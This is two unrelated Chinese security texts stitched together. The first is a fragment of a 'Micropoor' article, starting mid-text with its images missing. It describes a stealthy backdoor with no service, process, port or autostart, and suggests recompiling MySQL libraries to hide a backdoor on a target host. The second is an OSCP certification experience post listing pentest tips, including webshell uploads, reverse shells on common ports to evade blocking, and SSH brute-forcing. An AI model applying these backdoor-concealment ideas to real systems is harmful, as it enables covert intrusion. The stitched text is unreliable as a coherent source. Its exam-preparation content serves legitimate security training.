![](media/24da8061f9a5aa1c285d133acb1271d6.jpg) 而micropoor.txt内容: ![](media/24dd00201a6a10fb3bf447c3ac703088.jpg) 配合micropoor.txt的内容,这次的Demo将会变得更有趣。 **那么这次demo 做到了,无服务,无进程,无端口,无自启。 根据上面的5条概念,加入到了demo中,增加对手成本。使其更隐蔽。** 如果demo不是notepad++,而是mysql呢?用它的端口,它的进程,它的服务,它的一切,来重新编译microdoor。 例如:重新编译mysql.so,mysql.dll,替换目标主机。 无文件,无进程,无端口,无服务,无语言码。因为一切附属于它。 这应该是一个攻击者值得思考的问题。 **正如第一季所说:在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。** > Micropoor
sec-knowleage
# 考证经验分享 ## 简介 OSCP (Offensive Security Certified Professional) 是 Offensive Security 公司提供的一种专业的网络渗透测试证书。它是一项实践性强、高度挑战性的证书,需要考生通过一个 24 小时的实际渗透测试考试来获得。考试中,考生需要在给定的时间内完成对不同系统的渗透测试,并在线提交渗透报告。 通过 OSCP 证书的考生需要具备较高的网络安全知识和实践经验,能够独立进行网络渗透测试并生成详细的渗透报告。该证书可以作为网络安全专业人员的资格证明,并可以为考生在职业发展中提供帮助。 ## 考试结构 - 考试有三台独立考试靶机和一套域环境(三台机器) - 三台独立机器,每台20分;域环境40分,需获取完整攻击链路才有40分。 - 奖励积分10分。 - 考试合格分数**70分**。 ## 收费标准 目前官方收费有三个套餐: - 1599美元(涨价了,元旦前1499美元),包括课程、90天实验室和一次考试机会。 - 2499美元(元旦前打折1999美元),包括课程、一年实验室时间,两次考试机会、一年PG实验室、KLCP考试机会和OSWP考试机会。 - 5499美元(适合土豪肝帝),包括一年实验时间,offensive官方所有证书的无限制考试尝试,不过有考试冷静期。 ## 个人经历 ### 准备预热 对于准备OSCP,基本围绕几个平台的靶场: - [vulnhub](https://www.vulnhub.com/),里面有些是官方考试退役的机器,可以免费下载到本地练习。 - [HTB](https://www.hackthebox.com/),这里面机器很不错,而且价格也不是很贵,一个月14美元。 - [tryhackme](https://tryhackme.com/),关注Windows AD、Linux Windows提权机器,买一个月基本就可以打完。 - [PG](https://portal.offensive-security.com/labs/practice),官方练习靶场,难度打完中级就可以,19美元一个月。 > 有人总结了这些靶场平台里面类似于OSCP考试模式的靶场,请参考:https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview 对于前三个平台靶机,我直接上网找这台机器walkthrough,直接一一复现,如果没啥时间备考,可以直接看walkthrough文章去**理解考试类型有哪些,用到什么工具,攻击链路是怎样**。这块内容花费了我**三个月**的时间。 对于PG靶机,我是自己先打,实在不知道,可以看官方walkthrough(一天一台机器额度)。这块内容花费了我**一个多月**的时间。打到后面,我越来越发现很多内容都在vulnhub和htb里面出现过。 于是我总结一些枚举技巧: - 查看源代码是否有隐藏内容。 - 查看response的headers是否有CMS返回。 - 查看`/var/www/html`中的config.php文件。 - 查看是否有MySQL连接,连接进去查看信息。 - FTP、SMB的目录与web目录一致,上传webshell。 - 反弹shell端口设置21,22,80,443等常用端口,以防被拦截。 - SSH爆破用户名和密码一样。 - 查看源代码有没有**虚拟域名**。 - 注意CMS版本可能不对,如果搜索没有漏洞,尝试使用低版本的EXP。 - 注意用户ID的组是否有问题。 - 软链接绕过文件或者目录限制。 - 查看靶场的127.0.0.1的端口服务。 - 看看WEB页面是否有用户名,如果有,尝试注册看看能不能覆盖。 - docker逃逸看看有没有漏洞或者有没有密码。 - 遇见`cgi-bin`目录,继续爆破cgi文件格式。 - 如果linpeas没有发现东西,使用pspy监控是否有定时计划。 ### 购买OSCP 购买前一定要去**申请护照**,官方需要拍摄护照以及人脸识别,客服人工审核才可以访问资源。认证完成后,你可以访问课程材料和实验室,其中这块涉及到**10分奖励积分**内容需要完成,这是重中之重。 > **主题练习 + 30 台实验机** > > - 为了获得十 (10) 个奖励积分,您必须在 PEN-200 课程的每个主题中提交至少**80% 的主题练习正确解决方案,并在 Offsec 平台中提交**30 个正确的 proof.txt 哈希。 > - 对哪些实验室机器适用于 30 个正确的 proof.txt 哈希没有限制。这意味着可以包含**Sandbox**、**Alpha**、**Beta**和**Alice 。** > - 您可以在 OffSec 平台的课程进度/练习模式下查看已完成的主题练习百分比。 > > - 您可以通过将光标悬停在练习进度条上来查看每个主题的主题练习的完成百分比。 对于这块内容,如果不会,可以**提供有偿技术指导**。 ![image-20230125205826115](../../.gitbook/assets/image-20230125205826115.png) ### 考试 如果想要周六日考试,建议**提前一个月预约**,不然只剩下工作日的晚上和凌晨,而且要注意考试时间所处于那个时区。 需要准备摄像头,考试前会发送邮件给你需要安装浏览器插件用于监控人员监控你的屏幕。 考试时间是24小时,如果考试中途想要休息吃饭,在监控页面跟监控人员打字说明你要做什么就可以。 考完试后,需要写[报告](https://help.offensive-security.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements),所以在考试过程中,需要记录好操作步骤、截图、flag(需包含IP地址)。 > 具体内容,可以参考:https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide ## 总结 - 一定要做好**信息收集**。 - 不想将事情想的过于复杂。 - 对于机器利用都有exp。
sec-knowleage